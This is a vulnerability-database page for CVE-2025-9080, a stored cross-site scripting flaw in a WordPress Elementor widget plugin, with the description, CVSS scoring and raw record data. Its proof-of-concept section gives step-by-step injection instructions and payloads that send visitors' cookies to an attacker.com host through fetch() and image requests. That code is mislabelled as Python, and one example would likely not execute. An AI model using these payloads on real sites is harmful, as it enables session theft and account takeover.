Security Vulnerability Report
中文
CVE-2025-9080 CVSS 6.4 MEDIUM

CVE-2025-9080

Published: 2025-10-03 12:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Generic Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple widget fields in version 1.2.8 and earlier. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Generic Elements for Elementor < 1.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9080 PoC: Stored XSS via Generic Elements widget fields --> <!-- Step 1: Login as Contributor-level user --> <!-- Step 2: Create a new page/post with Elementor editor --> <!-- Step 3: Add a vulnerable widget (e.g., FunFactor, Slider, CallToAction) --> <!-- Step 4: Inject malicious payload into widget fields --> <!-- Payload Example 1: Basic XSS via attribute injection --> <!-- Inject into widget field like title, subtitle, or description: --> " onmouseover="alert(document.cookie)" x=" <!-- Payload Example 2: Using img tag with onerror handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Payload Example 3: Using autofocus and onfocus events --> " autofocus onfocus="var i=new Image;i.src='https://attacker.com/x?c='+document.cookie;" x=" <!-- Step 5: Publish the page --> <!-- Step 6: When any user (especially admin) visits the page, the script executes --> <!-- Full exploit flow in JavaScript (for automation testing): --> <script> // Simulating the attack payload that would be injected into widget fields const maliciousPayload = ` " style="background:url(javascript:fetch('https://attacker.com/?c='+document.cookie))" x=" `; // The payload gets stored in DB and executes when the page is rendered // Example of what the vulnerable HTML output might look like: const vulnerableHTML = ` <div class="funfactor-widget" data-title="${maliciousPayload}"> <!-- Content here --> </div> `; console.log("Vulnerable HTML output:", vulnerableHTML); console.log("When a user visits this page, the JavaScript will execute in their browser context."); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9080", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:45.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Generic Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple widget fields in version 1.2.8 and earlier. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/generic-elements-for-elementor/tags/1.2.4/widgets/FunFactor.php#L692", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generic-elements-for-elementor/tags/1.2.4/widgets/Slider.php#L1025", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generic-elements-for-elementor/tags/1.2.8/widgets/CallToAction.php#L1110", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7a341a7e-9ed2-436f-846a-59a5d51916fe?source=cve", "source": "[email protected]"}]}}